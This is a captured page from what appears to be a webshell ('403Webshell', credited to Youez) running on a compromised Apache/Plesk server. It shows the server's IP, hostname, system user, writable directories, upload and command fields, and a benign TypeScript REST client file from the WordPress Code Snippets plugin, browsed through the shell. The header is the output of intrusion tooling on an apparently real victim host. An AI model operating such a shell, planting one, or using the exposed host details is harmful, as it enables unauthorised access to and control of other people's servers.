403Webshell
Server IP : 91.134.83.25  /  Your IP : 216.73.216.147
Web Server : Apache
System : Linux plesk.serveurapc.fr 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
User : marrasse ( 10057)
PHP Version : 8.2.32
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/as-cp.fr/wpascp/wp-content/plugins/code-snippets/js/utils/snippets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/as-cp.fr/wpascp/wp-content/plugins/code-snippets/js/utils/snippets/api.ts
import { addQueryArgs } from '@wordpress/url'
import { REST_SNIPPETS_BASE } from '../restAPI'
import { createSnippetObject } from './snippets'
import type { RestAPI } from '../../hooks/useRestAPI'
import type { SnippetSchema, WritableSnippetSchema } from '../../types/schema/SnippetSchema'
import type { Snippet } from '../../types/Snippet'
import type { SnippetsExport } from '../../types/schema/SnippetsExport'

export interface SnippetsAPI {
	fetchAll: (network?: boolean | null) => Promise<Snippet[]>
	fetch: (snippetId: number, network?: boolean | null) => Promise<Snippet>
	create: (snippet: Snippet) => Promise<Snippet>
	update: (snippet: Pick<Snippet, 'id' | 'network'> & Partial<Snippet>) => Promise<Snippet>
	delete: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<void>
	activate: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<Snippet>
	deactivate: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<Snippet>
	export: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<SnippetsExport>
	exportCode: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<string>
	attach: (snippet: Pick<Snippet, 'id' | 'network' | 'conditionId'>) => Promise<void>
	detach: (snippet: Pick<Snippet, 'id' | 'network'>) => Promise<void>
}

const buildURL = ({ id, network }: Pick<Snippet, 'id' | 'network'>, action?: string) =>
	addQueryArgs(
		[REST_SNIPPETS_BASE, id, action].filter(Boolean).join('/'),
		{ network: network ? true : undefined }
	)

const mapToSchema = ({
	name,
	desc,
	code,
	tags,
	scope,
	priority,
	active,
	network,
	shared_network,
	conditionId
}: Partial<Snippet>): WritableSnippetSchema => ({
	name,
	desc,
	code,
	tags,
	scope,
	priority,
	active,
	network,
	shared_network,
	condition_id: conditionId
})

export const buildSnippetsAPI = ({ get, post, del, put }: RestAPI): SnippetsAPI => ({
	fetchAll: network =>
		get<SnippetSchema[]>(addQueryArgs(REST_SNIPPETS_BASE, { network }))
			.then(response => response.map(createSnippetObject)),

	fetch: (snippetId, network) =>
		get<SnippetSchema>(addQueryArgs(`${REST_SNIPPETS_BASE}/${snippetId}`, { network }))
			.then(createSnippetObject),

	create: snippet =>
		post<SnippetSchema>(REST_SNIPPETS_BASE, mapToSchema(snippet))
			.then(createSnippetObject),

	update: snippet =>
		post<SnippetSchema>(snippet.id ? buildURL(snippet) : REST_SNIPPETS_BASE, mapToSchema(snippet))
			.then(createSnippetObject),

	delete: snippet =>
		del(buildURL(snippet)),

	activate: snippet =>
		post<SnippetSchema>(buildURL(snippet, 'activate'))
			.then(createSnippetObject),

	deactivate: snippet =>
		post<SnippetSchema>(buildURL(snippet, 'deactivate'))
			.then(createSnippetObject),

	export: snippet =>
		get<SnippetsExport>(buildURL(snippet, 'export')),

	exportCode: snippet =>
		get<string>(buildURL(snippet, 'export-code')),

	attach: snippet =>
		put(buildURL(snippet, 'attach'), { condition_id: snippet.conditionId }),

	detach: snippet =>
		put(buildURL(snippet, 'detach'))
})

Youez - 2016 - github.com/yon3zu
LinuXploit